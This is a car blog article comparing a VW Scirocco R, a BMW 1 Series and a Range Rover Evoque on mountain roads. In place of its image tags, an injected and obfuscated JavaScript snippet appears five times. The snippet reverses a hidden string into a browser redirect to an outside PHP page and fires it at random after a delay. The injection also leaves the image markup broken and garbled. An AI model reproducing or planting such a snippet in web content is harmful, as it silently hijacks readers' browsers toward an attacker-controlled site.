The Management Fleet. VW Scirocco R. A Challenge, Part Two

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/05/IMG_0364.jpg” width=”728″ height=”485″ />

There are no mechanical changes from standard on this car, and the suppleness of the suspension and directness of the steering is remarkable. It’s not as focused and pin-sharp as the Scirocco R, but for a run-of-the-mill five-door hatch it’s very impressive. I’m already licking my lips in anticipation of what a few more bhp and a rorty exhaust would do to the car. The kind of service offered by Abu Dhabi Motors has proved popular with customers. Sure, you could just get a 135i, but the bespoke modifications offered  give the potential for something much more tailored, even if at $50,000, it can get pricey.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/05/IMG_1265.jpg” width=”728″ height=”485″ />

More thrashing up and down the mountain reveals some hard truths. Firstly, the Scirocco R is awesome. It’s phenomenally quick and capable of putting some very respectable machinery under stress. We’ve had the car for a few months, and I’m seriously tempted to bring it back, along with some proper sports cars, to see how it fares.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/05/IMG_08581.jpg” width=”728″ height=”485″ />

Secondly, there’s plenty of potential in a relatively lowly 1 Series. Hopefully we’ll get a chance to revisit this work-in-progress and find just how far it can be pushed without putting a strain on standard components. It’s a credit to BMW that so much entertainment can be had without spending big money. Most importantly, we’ve learned that the Evoque drives superbly well for an SUV. Yes, it was shown a clean pair of heels by the ‘Rocco but that’s really not surprising – the VW is lighter, more focused and more powerful.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/05/IMG_1080.jpg” width=”728″ height=”485″ />

But the Evoque made an excellent showing. You can really enjoy a drive in it, and push it to its limit without worrying about unpredictable body movements or rolling over. Against the 1 Series, it more than held its own, with the added bonus of being considerably more practical and better looking. The Range Rover then can successfully tread on the turf of hot hatches and leave without a battering. Take the smaller cars away from their natural habitat and I doubt we could say the same thing.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/photos-section/range-rover-evoque-vs-bmw-118i-vs-volkswagen-scirocco-r/” target=”_blank”>- FULL GALLERY OF IMAGES AVAILABLE HERE – CLICK –